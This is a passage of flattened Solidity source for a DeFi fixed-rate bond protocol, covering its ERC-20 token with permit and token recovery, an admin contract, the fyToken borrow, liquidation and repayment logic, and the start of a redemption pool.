external virtual returns (bool); function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (bool); function _setFintroller(FintrollerInterface newFintroller) external virtual returns (bool); /** * EVENTS */ event Borrow(address indexed account, uint256 repayAmount); event LiquidateBorrow( address indexed liquidator, address indexed borrower, uint256 repayAmount, uint256 clutchedCollateralAmount ); event RepayBorrow(address indexed payer, address indexed borrower, uint256 repayAmount, uint256 newDebt); event SetFintroller(address indexed admin, FintrollerInterface oldFintroller, FintrollerInterface newFintroller); } abstract contract RedemptionPoolInterface is RedemptionPoolStorage { /** * NON-CONSTANT FUNCTIONS */ function redeemFyTokens(uint256 underlyingAmount) external virtual returns (bool); function supplyUnderlying(uint256 underlyingAmount) external virtual returns (bool); /** * EVENTS */ event RedeemFyTokens(address indexed account, uint256 fyTokenAmount, uint256 underlyingAmount); event SupplyUnderlying(address indexed account, uint256 underlyingAmount, uint256 fyTokenAmount); } abstract contract Admin is AdminInterface { /** * @notice Throws if called by any account other than the admin. */ modifier onlyAdmin() { require(admin == msg.sender, "ERR_NOT_ADMIN"); _; } /** * @notice Initializes the contract setting the deployer as the initial admin. */ constructor() { address msgSender = msg.sender; admin = msgSender; emit TransferAdmin(address(0x00), msgSender); } /** * @notice Leaves the contract without admin, so it will not be possible to call * `onlyAdmin` functions anymore. * * Requirements: * * - The caller must be the administrator. * * WARNING: Doing this will leave the contract without an admin, * thereby removing any functionality that is only available to the admin. */ function _renounceAdmin() external virtual override onlyAdmin { emit TransferAdmin(admin, address(0x00)); admin = address(0x00); } /** * @notice Transfers the admin of the contract to a new account (`newAdmin`). * Can only be called by the current admin. * @param newAdmin The acount of the new admin. */ function _transferAdmin(address newAdmin) external virtual override onlyAdmin { require(newAdmin != address(0x00), "ERR_SET_ADMIN_ZERO_ADDRESS"); emit TransferAdmin(admin, newAdmin); admin = newAdmin; } } contract Erc20 is CarefulMath, /* no dependency */ Erc20Interface /* one dependency */ { /** * @notice All three of these values are immutable: they can only be set once during construction. * @param name_ Erc20 name of this token. * @param symbol_ Erc20 symbol of this token. * @param decimals_ Erc20 decimal precision of this token. */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) { name = name_; symbol = symbol_; decimals = decimals_; } /** * CONSTANT FUNCTIONS */ /** * @notice Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return allowances[owner][spender]; } /** * @notice Returns the amount of tokens owned by `account`. */ function balanceOf(address account) public view virtual override returns (uint256) { return balances[account]; } /** * NON-CONSTANT FUNCTIONS */ /** * @notice Sets `amount` as the allowance of `spender` over the caller's tokens. * * @dev IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. * * @return a boolean value indicating whether the operation succeeded. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { approveInternal(msg.sender, spender, amount); return true; } /** * @notice Atomically decreases the allowance granted to `spender` by the caller. * * @dev This is an alternative to {approve} that can be used as a mitigation for * problems described in {Erc20Interface-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { MathError mathErr; uint256 newAllowance; (mathErr, newAllowance) = subUInt(allowances[msg.sender][spender], subtractedValue); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_DECREASE_ALLOWANCE_UNDERFLOW"); approveInternal(msg.sender, spender, newAllowance); return true; } /** * @notice Atomically increases the allowance granted to `spender` by the caller. * * @dev This is an alternative to {approve} that can be used as a mitigation for * problems described above. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { MathError mathErr; uint256 newAllowance; (mathErr, newAllowance) = addUInt(allowances[msg.sender][spender], addedValue); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_INCREASE_ALLOWANCE_OVERFLOW"); approveInternal(msg.sender, spender, newAllowance); return true; } /** * @notice Moves `amount` tokens from the caller's account to `recipient`. * * @dev Emits a {Transfer} event. * * @return a boolean value indicating whether the operation succeeded. * * Requirements: * * - `recipient` cannot be the zero address. * - The caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { transferInternal(msg.sender, recipient, amount); return true; } /** * @notice See Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * @dev Emits a {Transfer} event. Emits an {Approval} event indicating the * updated allowance. This is not required by the Erc. See the note at the * beginning of {Erc20}; * * @return a boolean value indicating whether the operation succeeded. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - The caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external virtual override returns (bool) { transferInternal(sender, recipient, amount); MathError mathErr; uint256 newAllowance; (mathErr, newAllowance) = subUInt(allowances[sender][msg.sender], amount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_TRANSFER_FROM_INSUFFICIENT_ALLOWANCE"); approveInternal(sender, msg.sender, newAllowance); return true; } /** * INTERNAL FUNCTIONS */ /** * @notice Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * @dev This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function approveInternal( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0x00), "ERR_ERC20_APPROVE_FROM_ZERO_ADDRESS"); require(spender != address(0x00), "ERR_ERC20_APPROVE_TO_ZERO_ADDRESS"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Destroys `burnAmount` tokens from `holder`, recuding the token supply. * * @dev Emits a {Burn} event. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `holder` must have at least `amount` tokens. */ function burnInternal(address holder, uint256 burnAmount) internal { MathError mathErr; uint256 newHolderBalance; uint256 newTotalSupply; /* Burn the yTokens. */ (mathErr, newHolderBalance) = subUInt(balances[holder], burnAmount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_BURN_BALANCE_UNDERFLOW"); balances[holder] = newHolderBalance; /* Reduce the total supply. */ (mathErr, newTotalSupply) = subUInt(totalSupply, burnAmount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_BURN_TOTAL_SUPPLY_UNDERFLOW"); totalSupply = newTotalSupply; emit Burn(holder, burnAmount); } /** @notice Prints new tokens into existence and assigns them to `beneficiary`, * increasing the total supply. * * @dev Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - The beneficiary's balance and the total supply cannot overflow. */ function mintInternal(address beneficiary, uint256 mintAmount) internal { MathError mathErr; uint256 newBeneficiaryBalance; uint256 newTotalSupply; /* Mint the yTokens. */ (mathErr, newBeneficiaryBalance) = addUInt(balances[beneficiary], mintAmount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_MINT_BALANCE_OVERFLOW"); balances[beneficiary] = newBeneficiaryBalance; /* Increase the total supply. */ (mathErr, newTotalSupply) = addUInt(totalSupply, mintAmount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_MINT_TOTAL_SUPPLY_OVERFLOW"); totalSupply = newTotalSupply; emit Mint(beneficiary, mintAmount); } /** * @notice Moves `amount` tokens from `sender` to `recipient`. * * @dev This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function transferInternal( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0x00), "ERR_ERC20_TRANSFER_FROM_ZERO_ADDRESS"); require(recipient != address(0x00), "ERR_ERC20_TRANSFER_TO_ZERO_ADDRESS"); MathError mathErr; uint256 newSenderBalance; uint256 newRecipientBalance; (mathErr, newSenderBalance) = subUInt(balances[sender], amount); require(mathErr == MathError.NO_ERROR, "ERR_ERC20_TRANSFER_SENDER_BALANCE_UNDERFLOW"); balances[sender] = newSenderBalance; (mathErr, newRecipientBalance) = addUInt(balances[recipient], amount); assert(mathErr == MathError.NO_ERROR); balances[recipient] = newRecipientBalance; emit Transfer(sender, recipient, amount); } } contract Erc20Permit is Erc20PermitInterface, /* one dependency */ Erc20 /* three dependencies */ { constructor( string memory name_, string memory symbol_, uint8 decimals_ ) Erc20(name_, symbol_, decimals_) { uint256 chainId; /* solhint-disable-next-line no-inline-assembly */ assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes(version)), chainId, address(this) ) ); } /** * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens, * assuming the latter's signed approval. * * IMPORTANT: The same issues Erc20 `approve` has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the Eip712-formatted function arguments. * - The signature must use `owner`'s current nonce. */ function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(owner != address(0x00), "ERR_ERC20_PERMIT_OWNER_ZERO_ADDRESS"); require(spender != address(0x00), "ERR_ERC20_PERMIT_SPENDER_ZERO_ADDRESS"); require(deadline >= block.timestamp, "ERR_ERC20_PERMIT_EXPIRED"); /* It's safe to use the "+" operator here because the nonce cannot realistically overflow, ever. */ bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address recoveredOwner = ecrecover(digest, v, r, s); require(recoveredOwner != address(0x00), "ERR_ERC20_PERMIT_RECOVERED_OWNER_ZERO_ADDRESS"); require(recoveredOwner == owner, "ERR_ERC20_PERMIT_INVALID_SIGNATURE"); approveInternal(owner, spender, amount); } } abstract contract Erc20Recover is Erc20RecoverInterface, /* one dependency */ Admin /* two dependencies */ { using SafeErc20 for Erc20Interface; /** * @notice Sets the tokens that this contract cannot recover. * * @dev Emits a {SetNonRecoverableTokens} event. * * Requirements: * * - The caller must be the administrator. * - The contract must be non-initialized. * - The array of given tokens cannot be empty. * * @param tokens The array of tokens to set as non-recoverable. */ function _setNonRecoverableTokens(Erc20Interface[] calldata tokens) external override onlyAdmin { /* Checks */ require(isInitialized == false, "ERR_INITALIZED"); /* Iterate over the token list, sanity check each and update the mapping. */ uint256 length = tokens.length; for (uint256 i = 0; i < length; i += 1) { tokens[i].symbol(); nonRecoverableTokens.push(tokens[i]); } /* Effects: prevent this function from ever being called again. */ isInitialized = true; emit SetNonRecoverableTokens(admin, tokens); } /** * @notice Recover Erc20 tokens sent to this contract (by accident or otherwise). * @dev Emits a {RecoverToken} event. * * Requirements: * * - The caller must be the administrator. * - The contract must be initialized. * - The amount to recover cannot be zero. * - The token to recover cannot be among the non-recoverable tokens. * * @param token The token to make the recover for. * @param recoverAmount The uint256 amount to recover, specified in the token's decimal system. */ function _recover(Erc20Interface token, uint256 recoverAmount) external override onlyAdmin { /* Checks */ require(isInitialized == true, "ERR_NOT_INITALIZED"); require(recoverAmount > 0, "ERR_RECOVER_ZERO"); bytes32 tokenSymbolHash = keccak256(bytes(token.symbol())); uint256 length = nonRecoverableTokens.length; /** * We iterate over the non-recoverable token array and check that: * * 1. The addresses of the tokens are not the same * 2. The symbols of the tokens are not the same * * It is true that the second check may lead to a false positive, but * there is no better way to fend off against proxied tokens. */ for (uint256 i = 0; i < length; i += 1) { require( address(token) != address(nonRecoverableTokens[i]) && tokenSymbolHash != keccak256(bytes(nonRecoverableTokens[i].symbol())), "ERR_RECOVER_NON_RECOVERABLE_TOKEN" ); } /* Interactions */ token.safeTransfer(admin, recoverAmount); emit Recover(admin, token, recoverAmount); } } abstract contract FintrollerInterface is FintrollerStorage { /** * CONSTANT FUNCTIONS */ function getBond(FyTokenInterface fyToken) external view virtual returns ( uint256 debtCeiling, uint256 collateralizationRatioMantissa, bool isBorrowAllowed, bool isDepositCollateralAllowed, bool isLiquidateBorrowAllowed, bool isListed, bool isRedeemFyTokenAllowed, bool isRepayBorrowAllowed, bool isSupplyUnderlyingAllowed ); function getBorrowAllowed(FyTokenInterface fyToken) external view virtual returns (bool); function getBondDebtCeiling(FyTokenInterface fyToken) external view virtual returns (uint256); function getBondCollateralizationRatio(FyTokenInterface fyToken) external view virtual returns (uint256); function getDepositCollateralAllowed(FyTokenInterface fyToken) external view virtual returns (bool); function getLiquidateBorrowAllowed(FyTokenInterface fyToken) external view virtual returns (bool); function getRedeemFyTokensAllowed(FyTokenInterface fyToken) external view virtual returns (bool); function getRepayBorrowAllowed(FyTokenInterface fyToken) external view virtual returns (bool); function getSupplyUnderlyingAllowed(FyTokenInterface fyToken) external view virtual returns (bool); /** * NON-CONSTANT FUNCTIONS */ function listBond(FyTokenInterface fyToken) external virtual returns (bool); function setBorrowAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); function setCollateralizationRatio(FyTokenInterface fyToken, uint256 newCollateralizationRatioMantissa) external virtual returns (bool); function setDebtCeiling(FyTokenInterface fyToken, uint256 newDebtCeiling) external virtual returns (bool); function setDepositCollateralAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); function setLiquidateBorrowAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); function setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external virtual returns (bool); function setOracle(UniswapAnchoredViewInterface newOracle) external virtual returns (bool); function setRedeemFyTokensAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); function setRepayBorrowAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); function setSupplyUnderlyingAllowed(FyTokenInterface fyToken, bool state) external virtual returns (bool); /** * EVENTS */ event ListBond(address indexed admin, FyTokenInterface indexed fyToken); event SetBorrowAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); event SetCollateralizationRatio( address indexed admin, FyTokenInterface indexed fyToken, uint256 oldCollateralizationRatio, uint256 newCollateralizationRatio ); event SetDebtCeiling( address indexed admin, FyTokenInterface indexed fyToken, uint256 oldDebtCeiling, uint256 newDebtCeiling ); event SetDepositCollateralAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); event SetLiquidateBorrowAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); event SetLiquidationIncentive( address indexed admin, uint256 oldLiquidationIncentive, uint256 newLiquidationIncentive ); event SetRedeemFyTokensAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); event SetRepayBorrowAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); event SetOracle(address indexed admin, address oldOracle, address newOracle); event SetSupplyUnderlyingAllowed(address indexed admin, FyTokenInterface indexed fyToken, bool state); } contract FyToken is ReentrancyGuard, /* no depedency */ FyTokenInterface, /* one dependency */ Admin, /* two dependencies */ Exponential, /* two dependencies */ Erc20, /* three dependencies */ Erc20Permit, /* five dependencies */ Erc20Recover /* five dependencies */ { modifier isVaultOpen(address account) { require(balanceSheet.isVaultOpen(this, account), "ERR_VAULT_NOT_OPEN"); _; } /** * @notice The fyToken always has 18 decimals. * @param name_ Erc20 name of this token. * @param symbol_ Erc20 symbol of this token. * @param expirationTime_ Unix timestamp in seconds for when this token expires. * @param fintroller_ The address of the Fintroller contract. * @param balanceSheet_ The address of the BalanceSheet contract. * @param underlying_ The contract address of the underlying asset. * @param collateral_ The contract address of the collateral asset. */ constructor( string memory name_, string memory symbol_, uint256 expirationTime_, FintrollerInterface fintroller_, BalanceSheetInterface balanceSheet_, Erc20Interface underlying_, Erc20Interface collateral_ ) Erc20Permit(name_, symbol_, 18) Admin() { uint8 defaultNumberOfDecimals = 18; /* Set the underlying contract and calculate the decimal scalar offsets. */ uint256 underlyingDecimals = underlying_.decimals(); require(underlyingDecimals > 0, "ERR_FYTOKEN_CONSTRUCTOR_UNDERLYING_DECIMALS_ZERO"); require(underlyingDecimals <= defaultNumberOfDecimals, "ERR_FYTOKEN_CONSTRUCTOR_UNDERLYING_DECIMALS_OVERFLOW"); underlyingPrecisionScalar = 10**(defaultNumberOfDecimals - underlyingDecimals); underlying = underlying_; /* Set the collateral contract and calculate the decimal scalar offsets. */ uint256 collateralDecimals = collateral_.decimals(); require(collateralDecimals > 0, "ERR_FYTOKEN_CONSTRUCTOR_COLLATERAL_DECIMALS_ZERO"); require(defaultNumberOfDecimals >= collateralDecimals, "ERR_FYTOKEN_CONSTRUCTOR_COLLATERAL_DECIMALS_OVERFLOW"); collateralPrecisionScalar = 10**(defaultNumberOfDecimals - collateralDecimals); collateral = collateral_; /* Set the unix expiration time. */ require(expirationTime_ > block.timestamp, "ERR_FYTOKEN_CONSTRUCTOR_EXPIRATION_TIME_NOT_VALID"); expirationTime = expirationTime_; /* Set the Fintroller contract and sanity check it. */ fintroller = fintroller_; fintroller.isFintroller(); /* Set the Balance Sheet contract and sanity check it. */ balanceSheet = balanceSheet_; balanceSheet.isBalanceSheet(); /* Create the Redemption Pool contract and transfer the owner from the fyToken itself to the current caller. */ redemptionPool = new RedemptionPool(fintroller_, this); AdminInterface(address(redemptionPool))._transferAdmin(msg.sender); } /** * NON-CONSTANT FUNCTIONS */ struct BorrowLocalVars { MathError mathErr; uint256 debt; uint256 debtCeiling; uint256 lockedCollateral; uint256 hypotheticalCollateralizationRatioMantissa; uint256 hypotheticalTotalSupply; uint256 newDebt; uint256 thresholdCollateralizationRatioMantissa; } /** * @notice Increases the debt of the caller and mints new fyToken. * * @dev Emits a {Borrow}, {Mint} and {Transfer} event. * * Requirements: * * - The vault must be open. * - Must be called prior to maturation. * - The amount to borrow cannot be zero. * - The Fintroller must allow this action to be performed. * - The locked collateral cannot be zero. * - The total supply of fyTokens cannot exceed the debt ceiling. * - The caller must not fall below the threshold collateralization ratio. * * @param borrowAmount The amount of fyTokens to borrow and print into existence. * @return bool true = success, otherwise it reverts. */ function borrow(uint256 borrowAmount) public override isVaultOpen(msg.sender) nonReentrant returns (bool) { BorrowLocalVars memory vars; /* Checks: bond not matured. */ require(isMatured() == false, "ERR_BOND_MATURED"); /* Checks: the zero edge case. */ require(borrowAmount > 0, "ERR_BORROW_ZERO"); /* Checks: the Fintroller allows this action to be performed. */ require(fintroller.getBorrowAllowed(this), "ERR_BORROW_NOT_ALLOWED"); /* Checks: debt ceiling. */ (vars.mathErr, vars.hypotheticalTotalSupply) = addUInt(totalSupply, borrowAmount); require(vars.mathErr == MathError.NO_ERROR, "ERR_BORROW_MATH_ERROR"); vars.debtCeiling = fintroller.getBondDebtCeiling(this); require(vars.hypotheticalTotalSupply <= vars.debtCeiling, "ERR_BORROW_DEBT_CEILING_OVERFLOW"); /* Add the borrow amount to the account's current debt. */ (vars.debt, , vars.lockedCollateral, ) = balanceSheet.getVault(this, msg.sender); require(vars.lockedCollateral > 0, "ERR_BORROW_LOCKED_COLLATERAL_ZERO"); (vars.mathErr, vars.newDebt) = addUInt(vars.debt, borrowAmount); require(vars.mathErr == MathError.NO_ERROR, "ERR_BORROW_MATH_ERROR"); /* Checks: the hypothetical collateralization ratio is above the threshold. */ vars.hypotheticalCollateralizationRatioMantissa = balanceSheet.getHypotheticalCollateralizationRatio( this, msg.sender, vars.lockedCollateral, vars.newDebt ); vars.thresholdCollateralizationRatioMantissa = fintroller.getBondCollateralizationRatio(this); require( vars.hypotheticalCollateralizationRatioMantissa >= vars.thresholdCollateralizationRatioMantissa, "ERR_BELOW_COLLATERALIZATION_RATIO" ); /* Effects: print the new fyTokens into existence. */ mintInternal(msg.sender, borrowAmount); /* Interactions: increase the debt of the account. */ require(balanceSheet.setVaultDebt(this, msg.sender, vars.newDebt), "ERR_BORROW_CALL_SET_VAULT_DEBT"); /* Emit a Borrow, Mint and Transfer event. */ emit Borrow(msg.sender, borrowAmount); emit Transfer(address(this), msg.sender, borrowAmount); return true; } /** * @notice Destroys `burnAmount` tokens from `holder`, reducing the token supply. * * @dev Emits a {Burn} event. * * Requirements: * * - Must be called prior to maturation. * - Can only be called by the Redemption Pool. * - The amount to burn cannot be zero. * * @param holder The account whose fyTokens to burn. * @param burnAmount The amount of fyTokens to burn. * @return bool true = success, otherwise it reverts. */ function burn(address holder, uint256 burnAmount) external override nonReentrant returns (bool) { /* Checks: the caller is the Redemption Pool. */ require(msg.sender == address(redemptionPool), "ERR_BURN_NOT_AUTHORIZED"); /* Checks: the zero edge case. */ require(burnAmount > 0, "ERR_BURN_ZERO"); /* Effects: burns the fyTokens. */ burnInternal(holder, burnAmount); return true; } struct LiquidateBorrowsLocalVars { MathError mathErr; uint256 collateralizationRatioMantissa; uint256 lockedCollateral; bool isAccountUnderwater; } /** * @notice Repays the debt of the borrower and rewards the liquidator with a surplus * of collateral. * * @dev Emits a {RepayBorrow}, {Transfer}, {ClutchCollateral} and {LiquidateBorrow} event. * * Requirements: * * - The vault must be open. * - The liquidator cannot liquidate themselves. * - The amount to repay cannot be zero. * - The Fintroller must allow this action to be performed. * - The borrower must be underwater if the bond didn't mature. * - The caller must have at least `repayAmount` fyTokens. * - The borrower must have at least `repayAmount` debt. * - The collateral clutch cannot be more than what the borrower has in the vault. * * @param borrower The account to liquidate. * @param repayAmount The amount of fyTokens to repay. * @return true = success, otherwise it reverts. */ function liquidateBorrow(address borrower, uint256 repayAmount) external override isVaultOpen(borrower) nonReentrant returns (bool) { LiquidateBorrowsLocalVars memory vars; /* Checks: borrowers cannot self liquidate. */ require(msg.sender != borrower, "ERR_LIQUIDATE_BORROW_SELF"); /* Checks: the zero edge case. */ require(repayAmount > 0, "ERR_LIQUIDATE_BORROW_ZERO"); /* Checks: the Fintroller allows this action to be performed. */ require(fintroller.getLiquidateBorrowAllowed(this), "ERR_LIQUIDATE_BORROW_NOT_ALLOWED"); /* After maturation, any vault can be liquidated, irrespective of collateralization ratio. */ if (isMatured() == false) { /* Checks: the borrower fell below the threshold collateraliation ratio. */ vars.isAccountUnderwater = balanceSheet.isAccountUnderwater(this, borrower); require(vars.isAccountUnderwater, "ERR_ACCOUNT_NOT_UNDERWATER"); } /* Effects & Interactions: repay the borrower's debt. */ repayBorrowInternal(msg.sender, borrower, repayAmount); /* Interactions: clutch the collateral. */ uint256 clutchableCollateralAmount = balanceSheet.getClutchableCollateral(this, repayAmount); require( balanceSheet.clutchCollateral(this, msg.sender, borrower, clutchableCollateralAmount), "ERR_LIQUIDATE_BORROW_CALL_CLUTCH_COLLATERAL" ); emit LiquidateBorrow(msg.sender, borrower, repayAmount, clutchableCollateralAmount); return true; } /** /** @notice Prints new tokens into existence and assigns them to `beneficiary`, * increasing the total supply. * * @dev Emits a {Mint} event. * * Requirements: * * - Can only be called by the Redemption Pool. * - The amount to mint cannot be zero. * * @param beneficiary The account for which to mint the tokens. * @param mintAmount The amount of fyTokens to print into existence. * @return bool true = success, otherwise it reverts. */ function mint(address beneficiary, uint256 mintAmount) external override nonReentrant returns (bool) { /* Checks: the caller is the Redemption Pool. */ require(msg.sender == address(redemptionPool), "ERR_MINT_NOT_AUTHORIZED"); /* Checks: the zero edge case. */ require(mintAmount > 0, "ERR_MINT_ZERO"); /* Effects: print the new fyTokens into existence. */ mintInternal(beneficiary, mintAmount); return true; } /** * @notice Deletes the account's debt from the registry and take the fyTokens out of circulation. * @dev Emits a {Burn}, {Transfer} and {RepayBorrow} event. * * Requirements: * * - The vault must be open. * - The amount to repay cannot be zero. * - The Fintroller must allow this action to be performed. * - The caller must have at least `repayAmount` fyTokens. * - The caller must have at least `repayAmount` debt. * * @param repayAmount Lorem ipsum. * @return true = success, otherwise it reverts. */ function repayBorrow(uint256 repayAmount) external override isVaultOpen(msg.sender) nonReentrant returns (bool) { repayBorrowInternal(msg.sender, msg.sender, repayAmount); return true; } /** * @notice Clears the borrower's debt from the registry and take the fyTokens out of circulation. * @dev Emits a {Burn}, {Transfer} and {RepayBorrow} event. * * Requirements: same as the `repayBorrow` function, but here `borrower` is the account that must * have at least `repayAmount` fyTokens to repay the borrow. * * @param borrower The account for which to repay the borrow. * @param repayAmount The amount of fyTokens to repay. * @return true = success, otherwise it reverts. */ function repayBorrowBehalf(address borrower, uint256 repayAmount) external override isVaultOpen(borrower) nonReentrant returns (bool) { repayBorrowInternal(msg.sender, borrower, repayAmount); return true; } /** * @notice Updates the Fintroller contract's address saved in storage. * * @dev Throws a {SetFintroller} event. * * Requirements: * * - The caller must be the administrator. * * @return bool true = success, otherwise it reverts. */ function _setFintroller(FintrollerInterface newFintroller) external override onlyAdmin returns (bool) { /* Checks: sanity check the new contract. */ newFintroller.isFintroller(); /* Effects: update storage. */ FintrollerInterface oldFintroller = fintroller; fintroller = newFintroller; emit SetFintroller(admin, oldFintroller, newFintroller); return true; } /** * INTERNAL FUNCTIONS */ /** * @dev Checks if the bond matured. */ function isMatured() internal view returns (bool) { return block.timestamp >= expirationTime; } /** * @dev See the documentation for the public functions that call this internal function. */ function repayBorrowInternal( address payer, address borrower, uint256 repayAmount ) internal { /* Checks: the zero edge case. */ require(repayAmount > 0, "ERR_REPAY_BORROW_ZERO"); /* Checks: the Fintroller allows this action to be performed. */ require(fintroller.getRepayBorrowAllowed(this), "ERR_REPAY_BORROW_NOT_ALLOWED"); /* Checks: borrower has a debt to pay. */ uint256 debt = balanceSheet.getVaultDebt(this, borrower); require(debt >= repayAmount, "ERR_REPAY_BORROW_INSUFFICIENT_DEBT"); /* Checks: the payer has enough fyTokens. */ require(balanceOf(payer) >= repayAmount, "ERR_REPAY_BORROW_INSUFFICIENT_BALANCE"); /* Effects: burn the fyTokens. */ burnInternal(payer, repayAmount); /* Calculate the new debt of the borrower. */ MathError mathErr; uint256 newDebt; (mathErr, newDebt) = subUInt(debt, repayAmount); /* This operation can't fail because of the previous `require`. */ assert(mathErr == MathError.NO_ERROR); /* Interactions: reduce the debt of the borrower . */ require(balanceSheet.setVaultDebt(this, borrower, newDebt), "ERR_REPAY_BORROW_CALL_SET_VAULT_DEBT"); /* Emit both a Transfer and a RepayBorrow event. */ emit Transfer(payer, address(this), repayAmount); emit RepayBorrow(payer, borrower, repayAmount, newDebt); } } contract RedemptionPool is CarefulMath, /* no dependency */ ReentrancyGuard, /* no dependency */ RedemptionPoolInterface, /* one dependency */ Admin, /* two dependencies */ Erc20Recover /* five dependencies */ { using SafeErc20 for Erc20Interface; /** * @param fintroller_ The address of the Fintroller contract. * @param fyToken_ The address of the fyToken contract. */ constructor(FintrollerInterface fintroller_, FyTokenInterface fyToken_) Admin() { /* Set the Fintroller contract and sanity check it. */ fintroller = fintroller_; fintroller.isFintroller(); /** * Set the fyToken contract. It cannot be sanity-checked because the fyToken creates this * contract in its own constructor and contracts cannot be called while initializing. */ fyToken = fyToken_; } struct RedeemFyTokensLocalVars { MathError mathErr; uint256 newUnderlyingTotalSupply; uint256 underlyingPrecisionScalar; uint256 underlyingAmount; } /** * @notice Pays the token holder the face value at maturation time. * * @dev Emits a {RedeemFyTokens} event. * * Requirements: * * - Must be called post maturation. * - The amount to redeem cannot be zero. * - The Fintroller must allow this action to be performed. * - There must be enough liquidity in the Redemption Pool. * * @param fyTokenAmount The amount of fyTokens to redeem for the underlying asset. * @return true = success, otherwise it reverts. */ function redeemFyTokens(uint256 fyTokenAmount) external override nonReentrant returns (bool) { RedeemFyTokensLocalVars memory vars; /* Checks: maturation time. */ require(block.timestamp >= fyToken.expirationTime(), "ERR_BOND_NOT_MATURED"); /* Checks: the zero edge case. */ require(fyTokenAmount > 0, "ERR_REDEEM_FYTOKENS_ZERO"); /* Checks: the Fintroller allows this action to be performed. */ require(fintroller.getRedeemFyTokensAllowed(fyToken), "ERR_REDEEM_FYTOKENS_NOT_ALLOWED"); /* Checks: there is enough liquidity. */ require(fyTokenAmount <= totalUnderlyingSupply, "ERR_REDEEM_FYTOKENS_INSUFFICIENT_UNDERLYING"); /** * fyTokens always have 18 decimals so the underlying amount needs to be downscaled. * If the precision scalar is 1, it means that the underlying also has 18 decimals. */ vars.underlyingPrecisionScalar = fyToken.underlyingPrecisionScalar(); if (vars.underlyingPrecisionScalar != 1) { (vars.mathErr, vars.underlyingAmount) = divUInt(fyTokenAmount, vars.underlyingPrecisionScalar); require(vars.mathErr == MathError.NO_ERROR, "ERR_REDEEM_FYTOKENS_MATH_ERROR"); } else { vars.underlyingAmount = fyTokenAmount; } /* Effects: decrease the remaining supply of underlying. */ (vars.mathErr, vars.newUnderlyingTotalSupply) = subUInt(totalUnderlyingSupply, vars.underlyingAmount); assert(vars.mathErr == MathError.NO_ERROR); totalUnderlyingSupply = vars.newUnderlyingTotalSupply; /* Interactions: burn the fyTokens. */ require(fyToken.burn(msg.sender, fyTokenAmount), "ERR_SUPPLY_UNDERLYING_CALL_BURN"); /* Interactions: perform the Erc20 transfer. */ fyToken.underlying().safeTransfer(msg.sender, vars.underlyingAmount); emit RedeemFyTokens(msg.sender, fyTokenAmount, vars.underlyingAmount); return true; } struct SupplyUnderlyingLocalVars { MathError mathErr; uint256 newUnderlyingTotalSupply; uint256 underlyingPrecisionScalar; uint256 fyTokenAmount; } /** * @notice An alternative to the usual minting method that does not involve taking on 